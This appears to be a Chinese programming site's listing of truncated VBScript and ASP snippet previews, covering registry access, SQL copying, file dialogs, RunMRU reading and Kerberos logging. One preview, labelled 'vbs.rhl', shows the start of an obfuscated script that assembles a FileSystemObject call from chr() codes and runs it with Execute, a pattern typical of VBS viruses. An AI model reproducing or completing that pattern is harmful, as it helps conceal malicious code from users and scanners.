登录后绑定QQ、微信即可实现信息互通
①创建主键、创建各类型的键值。 ②读取键值并分析键值类型。 ③枚举主键及键值。 ④判断键或键值是否存在。 ⑤查询注册表键的操作权限。 ⑥监视注册表根键、主键、键值,当发现变动时提示。 复制代码 代码如下:'''注册表查询/操作 On Error Resume..
insertintoarticle(id,class,title,content)selectid,'2',title,contentfromarticlewhereclass='1' 如果id为自动编号,就把改为: insertintoarticle(class,title,content)select'2',title,contentfromarticlewhereclass='1' 如果class为数字类型,则..
不用组件的话有两种办法: setobjFile=CreateObject("SAFRCFileDlg.FileOpen") SetobjShell=CreateObject("Shell.Application") 本blog里都有示例。 如果调用vb组件,可以是: flag=&h200 whichone=OpenFile("ChooseaFile!","C:\","Everything|*.*|T..
1、用FSO的SpecialFolder常数 FSO的SpecialFolder常数依赖的函数为GetSpecialFolder(SpecialFolder),很遗憾的是,SpecialFolder常数只有3个,0-2,0对应WindowsFolder,就是你的Windows文件夹,如果你的系统装在C盘的话,那么返回的就是"C:\Window..
复制代码 代码如下:Const HKEY_CURRENT_USER = &H80000001 strComputer = "." Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv") strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU..
复制代码 代码如下:dowhiletrue setWshShell=WScript.CreateObject("WScript.Shell") IFWshShell.AppActivate("D:\")Then MsgBox"ok" wscript.quit EndIf loop试都不要试,就知道这段代码是错误的。因为WshShell.AppActivate考虑的是窗体的Caption..
<% FunctionRegExpTest(patrn,strng) DimregEx,Match,Matches'建立变量。 SetregEx=NewRegExp'建立正则表达式。 regEx.Pattern=patrn'设置模式。 regEx.IgnoreCase=True'设置是否区分字符大小写。 regEx.Global=True'设置全局可用性。 SetMatches=r..
WScript.Echo"EnablingKerberosLogging..." constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&_ strComputer&"\root\default:StdRegProv") strKey..
remvbs.rhl Dimfs,r,ss,w,reg,regpath,dvbs ddd="Setfs="&chr(67)&"reate"&"Obj"&chr(101)&"c"&chr(116)&chr(40)&chr(34)&"Scrip"&chr(116)&"ing.File"&chr(83)&"yste"&chr(109)&chr(79)&"bject"&chr(34)&chr(41) Executeddd rrr="setr="&chr(119)..
要看懂下面的代码,需要了解下面的函数vbscript strreverse函数 返回字符串,此字符串与指定字符串顺序相反。 strreverse(string1) string1参数是要进行字符反向的字符串。如果string1是零长度字符串(""),则返回零长度字符串。如果string1为null,..
提出你的第一个问题
回答一个你擅长的问题
对内容进行点赞或者收藏
阅读声望与权限的规范
完善个人资料